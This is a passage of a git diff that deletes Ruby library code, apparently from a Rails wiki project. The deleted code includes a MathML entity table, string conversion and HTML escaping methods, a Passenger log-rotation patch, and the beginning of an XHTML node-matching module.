-	'NotHumpEqual' => '&#x0224F;&#x00338;',
-	'NotLeftTriangleBar' => '&#x029CF;&#x00338;',
-	'NotNestedGreaterGreater' => '&#x02AA2;&#x00338;',
-	'NotNestedLessLess' => '&#x02AA1;&#x00338;',
-	'NotRightTriangleBar' => '&#x029D0;&#x00338;',
-	'NotSquareSubset' => '&#x0228F;&#x00338;',
-	'NotSquareSuperset' => '&#x02290;&#x00338;',
-	'NotSucceedsTilde' => '&#x0227F;&#x00338;',
-	'oopf' => '&#x1D560;',
-	'OverBar' => '&#x0203E;',
-	'OverBrace' => '&#x023DE;',
-	'OverBracket' => '&#x023B4;',
-	'OverParenthesis' => '&#x023DC;',
-	'planckh' => '&#x0210E;',
-	'popf' => '&#x1D561;',
-	'Product' => '&#x0220F;',
-	'qopf' => '&#x1D562;',
-	'rarrb' => '&#x021E5;',
-	'RightDownTeeVector' => '&#x0295D;',
-	'RightDownVectorBar' => '&#x02955;',
-	'RightTeeVector' => '&#x0295B;',
-	'RightTriangleBar' => '&#x029D0;',
-	'RightUpDownVector' => '&#x0294F;',
-	'RightUpTeeVector' => '&#x0295C;',
-	'RightUpVectorBar' => '&#x02954;',
-	'RightVectorBar' => '&#x02953;',
-	'ropf' => '&#x1D563;',
-	'RoundImplies' => '&#x02970;',
-	'RuleDelayed' => '&#x029F4;',
-	'sopf' => '&#x1D564;',
-	'Tab' => '&#x00009;',
-	'ThickSpace' => '&#x0205F;&#x0200A;',
-	'topf' => '&#x1D565;',
-	'UnderBar' => '&#x0005F;',
-	'UnderBrace' => '&#x023DF;',
-	'UnderBracket' => '&#x023B5;',
-	'UnderParenthesis' => '&#x023DD;',
-	'uopf' => '&#x1D566;',
-	'UpArrowBar' => '&#x02912;',
-	'Upsilon' => '&#x003A5;',
-	'VerticalLine' => '&#x0007C;',
-	'VerticalSeparator' => '&#x02758;',
-	'vopf' => '&#x1D567;',
-	'wopf' => '&#x1D568;',
-	'xopf' => '&#x1D569;',
-	'yopf' => '&#x1D56A;',
-	'ZeroWidthSpace' => '&#x0200B;',
-	'zopf' => '&#x1D56B;',
-	'angle' => '&#x02220;',
-	'ApplyFunction' => '&#x02061;',
-	'approx' => '&#x02248;',
-	'approxeq' => '&#x0224A;',
-	'Assign' => '&#x02254;',
-	'backcong' => '&#x0224C;',
-	'backepsilon' => '&#x003F6;',
-	'backprime' => '&#x02035;',
-	'backsim' => '&#x0223D;',
-	'backsimeq' => '&#x022CD;',
-	'Backslash' => '&#x02216;',
-	'barwedge' => '&#x02305;',
-	'Because' => '&#x02235;',
-	'because' => '&#x02235;',
-	'Bernoullis' => '&#x0212C;',
-	'between' => '&#x0226C;',
-	'bigcap' => '&#x022C2;',
-	'bigcirc' => '&#x025EF;',
-	'bigcup' => '&#x022C3;',
-	'bigodot' => '&#x02A00;',
-	'bigoplus' => '&#x02A01;',
-	'bigotimes' => '&#x02A02;',
-	'bigsqcup' => '&#x02A06;',
-	'bigstar' => '&#x02605;',
-	'bigtriangledown' => '&#x025BD;',
-	'bigtriangleup' => '&#x025B3;',
-	'biguplus' => '&#x02A04;',
-	'bigvee' => '&#x022C1;',
-	'bigwedge' => '&#x022C0;',
-	'bkarow' => '&#x0290D;',
-	'blacklozenge' => '&#x029EB;',
-	'blacksquare' => '&#x025AA;',
-	'blacktriangle' => '&#x025B4;',
-	'blacktriangledown' => '&#x025BE;',
-	'blacktriangleleft' => '&#x025C2;',
-	'blacktriangleright' => '&#x025B8;',
-	'bot' => '&#x022A5;',
-	'boxminus' => '&#x0229F;',
-	'boxplus' => '&#x0229E;',
-	'boxtimes' => '&#x022A0;',
-	'Breve' => '&#x002D8;',
-	'bullet' => '&#x02022;',
-	'Bumpeq' => '&#x0224E;',
-	'bumpeq' => '&#x0224F;',
-	'CapitalDifferentialD' => '&#x02145;',
-	'Cayleys' => '&#x0212D;',
-	'Cedilla' => '&#x000B8;',
-	'CenterDot' => '&#x000B7;',
-	'centerdot' => '&#x000B7;',
-	'checkmark' => '&#x02713;',
-	'circeq' => '&#x02257;',
-	'circlearrowleft' => '&#x021BA;',
-	'circlearrowright' => '&#x021BB;',
-	'circledast' => '&#x0229B;',
-	'circledcirc' => '&#x0229A;',
-	'circleddash' => '&#x0229D;',
-	'CircleDot' => '&#x02299;',
-	'circledR' => '&#x000AE;',
-	'circledS' => '&#x024C8;',
-	'CircleMinus' => '&#x02296;',
-	'CirclePlus' => '&#x02295;',
-	'CircleTimes' => '&#x02297;',
-	'ClockwiseContourIntegral' => '&#x02232;',
-	'CloseCurlyDoubleQuote' => '&#x0201D;',
-	'CloseCurlyQuote' => '&#x02019;',
-	'clubsuit' => '&#x02663;',
-	'coloneq' => '&#x02254;',
-	'complement' => '&#x02201;',
-	'complexes' => '&#x02102;',
-	'Congruent' => '&#x02261;',
-	'ContourIntegral' => '&#x0222E;',
-	'Coproduct' => '&#x02210;',
-	'CounterClockwiseContourIntegral' => '&#x02233;',
-	'CupCap' => '&#x0224D;',
-	'curlyeqprec' => '&#x022DE;',
-	'curlyeqsucc' => '&#x022DF;',
-	'curlyvee' => '&#x022CE;',
-	'curlywedge' => '&#x022CF;',
-	'curvearrowleft' => '&#x021B6;',
-	'curvearrowright' => '&#x021B7;',
-	'dbkarow' => '&#x0290F;',
-	'ddagger' => '&#x02021;',
-	'ddotseq' => '&#x02A77;',
-	'Del' => '&#x02207;',
-	'DiacriticalAcute' => '&#x000B4;',
-	'DiacriticalDot' => '&#x002D9;',
-	'DiacriticalDoubleAcute' => '&#x002DD;',
-	'DiacriticalGrave' => '&#x00060;',
-	'DiacriticalTilde' => '&#x002DC;',
-	'Diamond' => '&#x022C4;',
-	'diamond' => '&#x022C4;',
-	'diamondsuit' => '&#x02666;',
-	'DifferentialD' => '&#x02146;',
-	'digamma' => '&#x003DD;',
-	'div' => '&#x000F7;',
-	'divideontimes' => '&#x022C7;',
-	'doteq' => '&#x02250;',
-	'doteqdot' => '&#x02251;',
-	'DotEqual' => '&#x02250;',
-	'dotminus' => '&#x02238;',
-	'dotplus' => '&#x02214;',
-	'dotsquare' => '&#x022A1;',
-	'doublebarwedge' => '&#x02306;',
-	'DoubleContourIntegral' => '&#x0222F;',
-	'DoubleDot' => '&#x000A8;',
-	'DoubleDownArrow' => '&#x021D3;',
-	'DoubleLeftArrow' => '&#x021D0;',
-	'DoubleLeftRightArrow' => '&#x021D4;',
-	'DoubleLeftTee' => '&#x02AE4;',
-	'DoubleLongLeftArrow' => '&#x027F8;',
-	'DoubleLongLeftRightArrow' => '&#x027FA;',
-	'DoubleLongRightArrow' => '&#x027F9;',
-	'DoubleRightArrow' => '&#x021D2;',
-	'DoubleRightTee' => '&#x022A8;',
-	'DoubleUpArrow' => '&#x021D1;',
-	'DoubleUpDownArrow' => '&#x021D5;',
-	'DoubleVerticalBar' => '&#x02225;',
-	'DownArrow' => '&#x02193;',
-	'Downarrow' => '&#x021D3;',
-	'downarrow' => '&#x02193;',
-	'DownArrowUpArrow' => '&#x021F5;',
-	'downdownarrows' => '&#x021CA;',
-	'downharpoonleft' => '&#x021C3;',
-	'downharpoonright' => '&#x021C2;',
-	'DownLeftVector' => '&#x021BD;',
-	'DownRightVector' => '&#x021C1;',
-	'DownTee' => '&#x022A4;',
-	'DownTeeArrow' => '&#x021A7;',
-	'drbkarow' => '&#x02910;',
-	'Element' => '&#x02208;',
-	'emptyset' => '&#x02205;',
-	'eqcirc' => '&#x02256;',
-	'eqcolon' => '&#x02255;',
-	'eqsim' => '&#x02242;',
-	'eqslantgtr' => '&#x02A96;',
-	'eqslantless' => '&#x02A95;',
-	'EqualTilde' => '&#x02242;',
-	'Equilibrium' => '&#x021CC;',
-	'Exists' => '&#x02203;',
-	'expectation' => '&#x02130;',
-	'ExponentialE' => '&#x02147;',
-	'exponentiale' => '&#x02147;',
-	'fallingdotseq' => '&#x02252;',
-	'ForAll' => '&#x02200;',
-	'Fouriertrf' => '&#x02131;',
-	'geq' => '&#x02265;',
-	'geqq' => '&#x02267;',
-	'geqslant' => '&#x02A7E;',
-	'gg' => '&#x0226B;',
-	'ggg' => '&#x022D9;',
-	'gnapprox' => '&#x02A8A;',
-	'gneq' => '&#x02A88;',
-	'gneqq' => '&#x02269;',
-	'GreaterEqual' => '&#x02265;',
-	'GreaterEqualLess' => '&#x022DB;',
-	'GreaterFullEqual' => '&#x02267;',
-	'GreaterLess' => '&#x02277;',
-	'GreaterSlantEqual' => '&#x02A7E;',
-	'GreaterTilde' => '&#x02273;',
-	'gtrapprox' => '&#x02A86;',
-	'gtrdot' => '&#x022D7;',
-	'gtreqless' => '&#x022DB;',
-	'gtreqqless' => '&#x02A8C;',
-	'gtrless' => '&#x02277;',
-	'gtrsim' => '&#x02273;',
-	'gvertneqq' => '&#x02269;&#x0FE00;',
-	'Hacek' => '&#x002C7;',
-	'hbar' => '&#x0210F;',
-	'heartsuit' => '&#x02665;',
-	'HilbertSpace' => '&#x0210B;',
-	'hksearow' => '&#x02925;',
-	'hkswarow' => '&#x02926;',
-	'hookleftarrow' => '&#x021A9;',
-	'hookrightarrow' => '&#x021AA;',
-	'hslash' => '&#x0210F;',
-	'HumpDownHump' => '&#x0224E;',
-	'HumpEqual' => '&#x0224F;',
-	'iiiint' => '&#x02A0C;',
-	'iiint' => '&#x0222D;',
-	'Im' => '&#x02111;',
-	'ImaginaryI' => '&#x02148;',
-	'imagline' => '&#x02110;',
-	'imagpart' => '&#x02111;',
-	'Implies' => '&#x021D2;',
-	'in' => '&#x02208;',
-	'integers' => '&#x02124;',
-	'Integral' => '&#x0222B;',
-	'intercal' => '&#x022BA;',
-	'Intersection' => '&#x022C2;',
-	'intprod' => '&#x02A3C;',
-	'InvisibleComma' => '&#x02063;',
-	'InvisibleTimes' => '&#x02062;',
-	'langle' => '&#x027E8;',
-	'Laplacetrf' => '&#x02112;',
-	'lbrace' => '&#x0007B;',
-	'lbrack' => '&#x0005B;',
-	'LeftAngleBracket' => '&#x027E8;',
-	'LeftArrow' => '&#x02190;',
-	'Leftarrow' => '&#x021D0;',
-	'leftarrow' => '&#x02190;',
-	'LeftArrowBar' => '&#x021E4;',
-	'LeftArrowRightArrow' => '&#x021C6;',
-	'leftarrowtail' => '&#x021A2;',
-	'LeftCeiling' => '&#x02308;',
-	'LeftDoubleBracket' => '&#x027E6;',
-	'LeftDownVector' => '&#x021C3;',
-	'LeftFloor' => '&#x0230A;',
-	'leftharpoondown' => '&#x021BD;',
-	'leftharpoonup' => '&#x021BC;',
-	'leftleftarrows' => '&#x021C7;',
-	'LeftRightArrow' => '&#x02194;',
-	'Leftrightarrow' => '&#x021D4;',
-	'leftrightarrow' => '&#x02194;',
-	'leftrightarrows' => '&#x021C6;',
-	'leftrightharpoons' => '&#x021CB;',
-	'leftrightsquigarrow' => '&#x021AD;',
-	'LeftTee' => '&#x022A3;',
-	'LeftTeeArrow' => '&#x021A4;',
-	'leftthreetimes' => '&#x022CB;',
-	'LeftTriangle' => '&#x022B2;',
-	'LeftTriangleEqual' => '&#x022B4;',
-	'LeftUpVector' => '&#x021BF;',
-	'LeftVector' => '&#x021BC;',
-	'leq' => '&#x02264;',
-	'leqq' => '&#x02266;',
-	'leqslant' => '&#x02A7D;',
-	'lessapprox' => '&#x02A85;',
-	'lessdot' => '&#x022D6;',
-	'lesseqgtr' => '&#x022DA;',
-	'lesseqqgtr' => '&#x02A8B;',
-	'LessEqualGreater' => '&#x022DA;',
-	'LessFullEqual' => '&#x02266;',
-	'LessGreater' => '&#x02276;',
-	'lessgtr' => '&#x02276;',
-	'lesssim' => '&#x02272;',
-	'LessSlantEqual' => '&#x02A7D;',
-	'LessTilde' => '&#x02272;',
-	'll' => '&#x0226A;',
-	'llcorner' => '&#x0231E;',
-	'Lleftarrow' => '&#x021DA;',
-	'lmoustache' => '&#x023B0;',
-	'lnapprox' => '&#x02A89;',
-	'lneq' => '&#x02A87;',
-	'lneqq' => '&#x02268;',
-	'LongLeftArrow' => '&#x027F5;',
-	'Longleftarrow' => '&#x027F8;',
-	'longleftarrow' => '&#x027F5;',
-	'LongLeftRightArrow' => '&#x027F7;',
-	'Longleftrightarrow' => '&#x027FA;',
-	'longleftrightarrow' => '&#x027F7;',
-	'longmapsto' => '&#x027FC;',
-	'LongRightArrow' => '&#x027F6;',
-	'Longrightarrow' => '&#x027F9;',
-	'longrightarrow' => '&#x027F6;',
-	'looparrowleft' => '&#x021AB;',
-	'looparrowright' => '&#x021AC;',
-	'LowerLeftArrow' => '&#x02199;',
-	'LowerRightArrow' => '&#x02198;',
-	'lozenge' => '&#x025CA;',
-	'lrcorner' => '&#x0231F;',
-	'Lsh' => '&#x021B0;',
-	'lvertneqq' => '&#x02268;&#x0FE00;',
-	'maltese' => '&#x02720;',
-	'mapsto' => '&#x021A6;',
-	'measuredangle' => '&#x02221;',
-	'Mellintrf' => '&#x02133;',
-	'MinusPlus' => '&#x02213;',
-	'mp' => '&#x02213;',
-	'multimap' => '&#x022B8;',
-	'napprox' => '&#x02249;',
-	'natural' => '&#x0266E;',
-	'naturals' => '&#x02115;',
-	'nearrow' => '&#x02197;',
-	'NegativeMediumSpace' => '&#x0200B;',
-	'NegativeThickSpace' => '&#x0200B;',
-	'NegativeThinSpace' => '&#x0200B;',
-	'NegativeVeryThinSpace' => '&#x0200B;',
-	'NestedGreaterGreater' => '&#x0226B;',
-	'NestedLessLess' => '&#x0226A;',
-	'nexists' => '&#x02204;',
-	'ngeq' => '&#x02271;',
-	'ngeqq' => '&#x02267;&#x00338;',
-	'ngeqslant' => '&#x02A7E;&#x00338;',
-	'ngtr' => '&#x0226F;',
-	'nLeftarrow' => '&#x021CD;',
-	'nleftarrow' => '&#x0219A;',
-	'nLeftrightarrow' => '&#x021CE;',
-	'nleftrightarrow' => '&#x021AE;',
-	'nleq' => '&#x02270;',
-	'nleqq' => '&#x02266;&#x00338;',
-	'nleqslant' => '&#x02A7D;&#x00338;',
-	'nless' => '&#x0226E;',
-	'NonBreakingSpace' => '&#x000A0;',
-	'NotCongruent' => '&#x02262;',
-	'NotDoubleVerticalBar' => '&#x02226;',
-	'NotElement' => '&#x02209;',
-	'NotEqual' => '&#x02260;',
-	'NotEqualTilde' => '&#x02242;&#x00338;',
-	'NotExists' => '&#x02204;',
-	'NotGreater' => '&#x0226F;',
-	'NotGreaterEqual' => '&#x02271;',
-	'NotGreaterFullEqual' => '&#x02266;&#x00338;',
-	'NotGreaterGreater' => '&#x0226B;&#x00338;',
-	'NotGreaterLess' => '&#x02279;',
-	'NotGreaterSlantEqual' => '&#x02A7E;&#x00338;',
-	'NotGreaterTilde' => '&#x02275;',
-	'NotHumpDownHump' => '&#x0224E;&#x00338;',
-	'NotLeftTriangle' => '&#x022EA;',
-	'NotLeftTriangleEqual' => '&#x022EC;',
-	'NotLess' => '&#x0226E;',
-	'NotLessEqual' => '&#x02270;',
-	'NotLessGreater' => '&#x02278;',
-	'NotLessLess' => '&#x0226A;&#x00338;',
-	'NotLessSlantEqual' => '&#x02A7D;&#x00338;',
-	'NotLessTilde' => '&#x02274;',
-	'NotPrecedes' => '&#x02280;',
-	'NotPrecedesEqual' => '&#x02AAF;&#x00338;',
-	'NotPrecedesSlantEqual' => '&#x022E0;',
-	'NotReverseElement' => '&#x0220C;',
-	'NotRightTriangle' => '&#x022EB;',
-	'NotRightTriangleEqual' => '&#x022ED;',
-	'NotSquareSubsetEqual' => '&#x022E2;',
-	'NotSquareSupersetEqual' => '&#x022E3;',
-	'NotSubset' => '&#x02282;&#x020D2;',
-	'NotSubsetEqual' => '&#x02288;',
-	'NotSucceeds' => '&#x02281;',
-	'NotSucceedsEqual' => '&#x02AB0;&#x00338;',
-	'NotSucceedsSlantEqual' => '&#x022E1;',
-	'NotSuperset' => '&#x02283;&#x020D2;',
-	'NotSupersetEqual' => '&#x02289;',
-	'NotTilde' => '&#x02241;',
-	'NotTildeEqual' => '&#x02244;',
-	'NotTildeFullEqual' => '&#x02247;',
-	'NotTildeTilde' => '&#x02249;',
-	'NotVerticalBar' => '&#x02224;',
-	'nparallel' => '&#x02226;',
-	'nprec' => '&#x02280;',
-	'npreceq' => '&#x02AAF;&#x00338;',
-	'nRightarrow' => '&#x021CF;',
-	'nrightarrow' => '&#x0219B;',
-	'nshortmid' => '&#x02224;',
-	'nshortparallel' => '&#x02226;',
-	'nsimeq' => '&#x02244;',
-	'nsubset' => '&#x02282;&#x020D2;',
-	'nsubseteq' => '&#x02288;',
-	'nsubseteqq' => '&#x02AC5;&#x00338;',
-	'nsucc' => '&#x02281;',
-	'nsucceq' => '&#x02AB0;&#x00338;',
-	'nsupset' => '&#x02283;&#x020D2;',
-	'nsupseteq' => '&#x02289;',
-	'nsupseteqq' => '&#x02AC6;&#x00338;',
-	'ntriangleleft' => '&#x022EA;',
-	'ntrianglelefteq' => '&#x022EC;',
-	'ntriangleright' => '&#x022EB;',
-	'ntrianglerighteq' => '&#x022ED;',
-	'nwarrow' => '&#x02196;',
-	'oint' => '&#x0222E;',
-	'OpenCurlyDoubleQuote' => '&#x0201C;',
-	'OpenCurlyQuote' => '&#x02018;',
-	'orderof' => '&#x02134;',
-	'parallel' => '&#x02225;',
-	'PartialD' => '&#x02202;',
-	'pitchfork' => '&#x022D4;',
-	'PlusMinus' => '&#x000B1;',
-	'pm' => '&#x000B1;',
-	'Poincareplane' => '&#x0210C;',
-	'prec' => '&#x0227A;',
-	'precapprox' => '&#x02AB7;',
-	'preccurlyeq' => '&#x0227C;',
-	'Precedes' => '&#x0227A;',
-	'PrecedesEqual' => '&#x02AAF;',
-	'PrecedesSlantEqual' => '&#x0227C;',
-	'PrecedesTilde' => '&#x0227E;',
-	'preceq' => '&#x02AAF;',
-	'precnapprox' => '&#x02AB9;',
-	'precneqq' => '&#x02AB5;',
-	'precnsim' => '&#x022E8;',
-	'precsim' => '&#x0227E;',
-	'primes' => '&#x02119;',
-	'Proportion' => '&#x02237;',
-	'Proportional' => '&#x0221D;',
-	'propto' => '&#x0221D;',
-	'quaternions' => '&#x0210D;',
-	'questeq' => '&#x0225F;',
-	'rangle' => '&#x027E9;',
-	'rationals' => '&#x0211A;',
-	'rbrace' => '&#x0007D;',
-	'rbrack' => '&#x0005D;',
-	'Re' => '&#x0211C;',
-	'realine' => '&#x0211B;',
-	'realpart' => '&#x0211C;',
-	'reals' => '&#x0211D;',
-	'ReverseElement' => '&#x0220B;',
-	'ReverseEquilibrium' => '&#x021CB;',
-	'ReverseUpEquilibrium' => '&#x0296F;',
-	'RightAngleBracket' => '&#x027E9;',
-	'RightArrow' => '&#x02192;',
-	'Rightarrow' => '&#x021D2;',
-	'rightarrow' => '&#x02192;',
-	'RightArrowBar' => '&#x021E5;',
-	'RightArrowLeftArrow' => '&#x021C4;',
-	'rightarrowtail' => '&#x021A3;',
-	'RightCeiling' => '&#x02309;',
-	'RightDoubleBracket' => '&#x027E7;',
-	'RightDownVector' => '&#x021C2;',
-	'RightFloor' => '&#x0230B;',
-	'rightharpoondown' => '&#x021C1;',
-	'rightharpoonup' => '&#x021C0;',
-	'rightleftarrows' => '&#x021C4;',
-	'rightleftharpoons' => '&#x021CC;',
-	'rightrightarrows' => '&#x021C9;',
-	'rightsquigarrow' => '&#x0219D;',
-	'RightTee' => '&#x022A2;',
-	'RightTeeArrow' => '&#x021A6;',
-	'rightthreetimes' => '&#x022CC;',
-	'RightTriangle' => '&#x022B3;',
-	'RightTriangleEqual' => '&#x022B5;',
-	'RightUpVector' => '&#x021BE;',
-	'RightVector' => '&#x021C0;',
-	'risingdotseq' => '&#x02253;',
-	'rmoustache' => '&#x023B1;',
-	'Rrightarrow' => '&#x021DB;',
-	'Rsh' => '&#x021B1;',
-	'searrow' => '&#x02198;',
-	'setminus' => '&#x02216;',
-	'ShortDownArrow' => '&#x02193;',
-	'ShortLeftArrow' => '&#x02190;',
-	'shortmid' => '&#x02223;',
-	'shortparallel' => '&#x02225;',
-	'ShortRightArrow' => '&#x02192;',
-	'ShortUpArrow' => '&#x02191;',
-	'simeq' => '&#x02243;',
-	'SmallCircle' => '&#x02218;',
-	'smallsetminus' => '&#x02216;',
-	'spadesuit' => '&#x02660;',
-	'Sqrt' => '&#x0221A;',
-	'sqsubset' => '&#x0228F;',
-	'sqsubseteq' => '&#x02291;',
-	'sqsupset' => '&#x02290;',
-	'sqsupseteq' => '&#x02292;',
-	'Square' => '&#x025A1;',
-	'SquareIntersection' => '&#x02293;',
-	'SquareSubset' => '&#x0228F;',
-	'SquareSubsetEqual' => '&#x02291;',
-	'SquareSuperset' => '&#x02290;',
-	'SquareSupersetEqual' => '&#x02292;',
-	'SquareUnion' => '&#x02294;',
-	'Star' => '&#x022C6;',
-	'straightepsilon' => '&#x003F5;',
-	'straightphi' => '&#x003D5;',
-	'Subset' => '&#x022D0;',
-	'subset' => '&#x02282;',
-	'subseteq' => '&#x02286;',
-	'subseteqq' => '&#x02AC5;',
-	'SubsetEqual' => '&#x02286;',
-	'subsetneq' => '&#x0228A;',
-	'subsetneqq' => '&#x02ACB;',
-	'succ' => '&#x0227B;',
-	'succapprox' => '&#x02AB8;',
-	'succcurlyeq' => '&#x0227D;',
-	'Succeeds' => '&#x0227B;',
-	'SucceedsEqual' => '&#x02AB0;',
-	'SucceedsSlantEqual' => '&#x0227D;',
-	'SucceedsTilde' => '&#x0227F;',
-	'succeq' => '&#x02AB0;',
-	'succnapprox' => '&#x02ABA;',
-	'succneqq' => '&#x02AB6;',
-	'succnsim' => '&#x022E9;',
-	'succsim' => '&#x0227F;',
-	'SuchThat' => '&#x0220B;',
-	'Sum' => '&#x02211;',
-	'Superset' => '&#x02283;',
-	'SupersetEqual' => '&#x02287;',
-	'Supset' => '&#x022D1;',
-	'supset' => '&#x02283;',
-	'supseteq' => '&#x02287;',
-	'supseteqq' => '&#x02AC6;',
-	'supsetneq' => '&#x0228B;',
-	'supsetneqq' => '&#x02ACC;',
-	'swarrow' => '&#x02199;',
-	'Therefore' => '&#x02234;',
-	'therefore' => '&#x02234;',
-	'thickapprox' => '&#x02248;',
-	'thicksim' => '&#x0223C;',
-	'ThinSpace' => '&#x02009;',
-	'Tilde' => '&#x0223C;',
-	'TildeEqual' => '&#x02243;',
-	'TildeFullEqual' => '&#x02245;',
-	'TildeTilde' => '&#x02248;',
-	'toea' => '&#x02928;',
-	'tosa' => '&#x02929;',
-	'triangle' => '&#x025B5;',
-	'triangledown' => '&#x025BF;',
-	'triangleleft' => '&#x025C3;',
-	'trianglelefteq' => '&#x022B4;',
-	'triangleq' => '&#x0225C;',
-	'triangleright' => '&#x025B9;',
-	'trianglerighteq' => '&#x022B5;',
-	'TripleDot' => '&#x020DB;',
-	'twoheadleftarrow' => '&#x0219E;',
-	'twoheadrightarrow' => '&#x021A0;',
-	'ulcorner' => '&#x0231C;',
-	'Union' => '&#x022C3;',
-	'UnionPlus' => '&#x0228E;',
-	'UpArrow' => '&#x02191;',
-	'Uparrow' => '&#x021D1;',
-	'uparrow' => '&#x02191;',
-	'UpArrowDownArrow' => '&#x021C5;',
-	'UpDownArrow' => '&#x02195;',
-	'Updownarrow' => '&#x021D5;',
-	'updownarrow' => '&#x02195;',
-	'UpEquilibrium' => '&#x0296E;',
-	'upharpoonleft' => '&#x021BF;',
-	'upharpoonright' => '&#x021BE;',
-	'UpperLeftArrow' => '&#x02196;',
-	'UpperRightArrow' => '&#x02197;',
-	'upsilon' => '&#x003C5;',
-	'UpTee' => '&#x022A5;',
-	'UpTeeArrow' => '&#x021A5;',
-	'upuparrows' => '&#x021C8;',
-	'urcorner' => '&#x0231D;',
-	'varepsilon' => '&#x003F5;',
-	'varkappa' => '&#x003F0;',
-	'varnothing' => '&#x02205;',
-	'varphi' => '&#x003D5;',
-	'varpi' => '&#x003D6;',
-	'varpropto' => '&#x0221D;',
-	'varrho' => '&#x003F1;',
-	'varsigma' => '&#x003C2;',
-	'varsubsetneq' => '&#x0228A;&#x0FE00;',
-	'varsubsetneqq' => '&#x02ACB;&#x0FE00;',
-	'varsupsetneq' => '&#x0228B;&#x0FE00;',
-	'varsupsetneqq' => '&#x02ACC;&#x0FE00;',
-	'vartheta' => '&#x003D1;',
-	'vartriangleleft' => '&#x022B2;',
-	'vartriangleright' => '&#x022B3;',
-	'Vee' => '&#x022C1;',
-	'vee' => '&#x02228;',
-	'Vert' => '&#x02016;',
-	'vert' => '&#x0007C;',
-	'VerticalBar' => '&#x02223;',
-	'VerticalTilde' => '&#x02240;',
-	'VeryThinSpace' => '&#x0200A;',
-	'Wedge' => '&#x022C0;',
-	'wedge' => '&#x02227;',
-	'wp' => '&#x02118;',
-	'wr' => '&#x02240;',
-	'zeetrf' => '&#x02128;',
-	'AMP' => '&#x0026',
-	'COPY' => '&#x00A9',
-	'GT' => '&#x003E',
-	'LT' => '&#x003C',
-	'QUOT' => '&#x0022',
-	'REG' => '&#x00AE',
-	'TRADE' => '&#x2122'
-  }
-#:startdoc:
-
-# Converts XHTML+MathML named entities in string to Numeric Character References
-#
-#  :call-seq:
-#     string.to_ncr  -> string
-#
-    def to_ncr
-       self.gsub(/&([a-zA-Z0-9]+);/) {|m| $1.convert_to_ncr}
-    end
-
-# Converts XHTML+MathML named entities in string to Numeric Character References
-#
-#  :call-seq:
-#     string.to_ncr!  -> str or nil
-#
-# Substitution is done in-place.
-#
-    def to_ncr!
-       self.gsub!(/&([a-zA-Z0-9]+);/) {|m| $1.convert_to_ncr}
-    end
-
-# Converts XHTML+MathML named entities in string to UTF-8
-#
-#  :call-seq:
-#     string.to_utf8  -> string
-#
-#--
-    def to_utf8
-      self.gsub(/&([a-zA-Z0-9]+);/) {|m| $1.convert_to_utf8}
-      
-      # You might think this is faster, but it isn't
-      # pieces = self.split(/&([a-zA-Z0-9]+);/)
-      # 1.step(pieces.length-1, 2) {|i| pieces[i].convert_to_utf8}
-      # pieces.join
-    end
-    
-#++
-# Converts XHTML+MathML named entities in string to UTF-8
-#
-#  :call-seq:
-#     string.to_ncr!  -> str or nil
-#
-# Substitution is done in-place.
-#
-    def to_utf8!
-       self.gsub!(/&([a-zA-Z0-9]+);/) {|m| $1.convert_to_utf8}
-    end
-
-#:stopdoc:
-
-    TO_ESCAPE = {
-      '&' => '&amp;',
-      '<' => '&lt;',
-      '>' => '&gt;',
-      "'" => '&#39;',
-      '"' => '&quot;',
-    }
-    TO_ESCAPE_PATTERN = Regexp.union(*TO_ESCAPE.keys)
-    
-    def escapeHTML
-      self.gsub(TO_ESCAPE_PATTERN){|m| TO_ESCAPE[m]}
-    end
-    
-    def unescapeHTML
-    self.gsub(/&(.*?);/) do
-      match = $1.dup
-      case match
-      when /\Aamp\z/ni           then '&'
-      when /\Agt\z/ni            then '>'
-      when /\Alt\z/ni            then '<'
-      when /\Aquot\z/ni            then '"'
-      when /\Aapos\z/ni            then "'"
-      when /\A#0*(\d+)\z/n       then
-        if Integer($1) < 1114111
-          [Integer($1)].pack("U")
-        else
-          "&##{$1};"
-        end
-      when /\A#x([0-9a-f]+)\z/ni then
-        if $1.hex < 1114111
-          [$1.hex].pack("U")
-        else
-          "&#x#{$1};"
-        end
-      else
-        "&#{match};"
-      end
-    end
-  end
-
-  protected
-
-    def convert_to_ncr #:nodoc:
-      if self =~ /^(lt|gt|amp|quot|apos)$/
-        self.replace "&" + self + ";"
-      elsif MATHML_ENTITIES.has_key?(self)
-        self.replace MATHML_ENTITIES[self]
-      else
-        self.replace "&amp;" + self + ";"
-      end
-    end
-
-    def convert_to_utf8 #:nodoc:
-      if self =~ /^(lt|gt|amp|quot|apos)$/i
-        self.replace "&" + self.downcase + ";"
-      elsif MATHML_ENTITIES.has_key?(self)         
-        self.replace MATHML_ENTITIES[self].split(';').collect {|s| s.gsub(/^&#x([A-F0-9]+)$/, '\1').hex }.pack('U*')
-      else
-        self.replace "&amp;" + self + ";"
-      end
-    end
-
-
-end
diff --git a/lib/logging_stuff.rb b/lib/logging_stuff.rb
deleted file mode 100644
index 2178edb2..00000000
--- a/lib/logging_stuff.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-class Logger
-  class LogDevice
-
-  private
-    def shift_log_age
-      #For Passenger, restart the server when rotating log files.
-      FileUtils.touch Rails.root.join("tmp", "restart.txt") if defined?(PhusionPassenger)
-      (@shift_age-3).downto(0) do |i|
-        if FileTest.exist?("#{@filename}.#{i}")
-          File.rename("#{@filename}.#{i}", "#{@filename}.#{i+1}")
-        end
-      end
-      @dev.close
-      File.rename("#{@filename}", "#{@filename}.0")
-      @dev = create_logfile(@filename)
-      return true
-    end
-
-  end
-end
diff --git a/lib/native/linux-x86/.gitignore b/lib/native/linux-x86/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/lib/node.rb b/lib/node.rb
deleted file mode 100644
index c2da7bc0..00000000
--- a/lib/node.rb
+++ /dev/null
@@ -1,537 +0,0 @@
-require 'strscan'
-
-module XHTML #:nodoc:
-  
-  class Conditions < Hash #:nodoc:
-    def initialize(hash)
-      super()
-      hash = { :content => hash } unless Hash === hash
-      hash = keys_to_symbols(hash)
-      hash.each do |k,v|
-        case k
-          when :tag, :content then
-            # keys are valid, and require no further processing
-          when :attributes then
-            hash[k] = keys_to_strings(v)
-          when :parent, :child, :ancestor, :descendant, :sibling, :before,
-                  :after
-            hash[k] = Conditions.new(v)
-          when :children
-            hash[k] = v = keys_to_symbols(v)
-            v.each do |k,v2|
-              case k
-                when :count, :greater_than, :less_than
-                  # keys are valid, and require no further processing
-                when :only
-                  v[k] = Conditions.new(v2)
-                else
-                  raise "illegal key #{k.inspect} => #{v2.inspect}"
-              end
-            end
-          else
-            raise "illegal key #{k.inspect} => #{v.inspect}"
-        end
-      end
-      update hash
-    end
-
-    private
-
-      def keys_to_strings(hash)
